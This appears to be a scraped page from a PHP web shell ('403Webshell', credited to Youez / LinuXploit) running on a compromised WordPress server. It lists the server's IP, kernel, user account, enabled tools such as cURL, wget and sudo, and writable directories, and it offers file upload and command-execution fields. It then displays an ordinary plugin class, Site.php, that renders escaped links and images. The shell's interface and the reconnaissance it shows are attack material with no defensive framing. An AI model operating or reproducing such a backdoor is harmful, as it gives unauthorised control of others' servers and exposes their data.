403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/sites/example3/wp-content/plugins/tsai-plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/sites/example3/wp-content/plugins/tsai-plugin/Site.php
<?php
class Site {


    // public static function find_site_by_slug($sites, $slug) {
    //     foreach ($sites as $site) {
    //         if ($site->slug === $slug) {
    //             return $site;
    //         }
    //     }
    //     return null;
    // }    

    private $slug;
    private $alt;
    private $image_url;
    private $link;
    private $description;

    public function __construct($slug, $alt, $description, $secure, $host_name, $img_name) {
        $this->slug = $slug;
        $this->alt = $alt;
        $this->description = $description;

        $my_link = 'http://';
        if ( $secure ) {
            $my_link = 'https://';
        }

        $base = plugins_url('assets/images/', __FILE__);


        $this->link = $my_link . $host_name;
        $this->image_url = $base.$img_name ;
    }

    public function display() {
        $out = '<span class="site">';
        $out .= '<div class="site-container">';
        $out .= '<span><a href="' . 
            htmlspecialchars($this->link).'"><img src="' . 
            htmlspecialchars($this->image_url) . '" alt="' . 
            htmlspecialchars($this->alt) . '"></a></span>';
        $out .= '<span><a href="' . htmlspecialchars($this->link) . '">' .htmlspecialchars($this->description) .  '</a></span>';
        $out .= '</div>';
        $out .= '</span>';

        return $out;
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit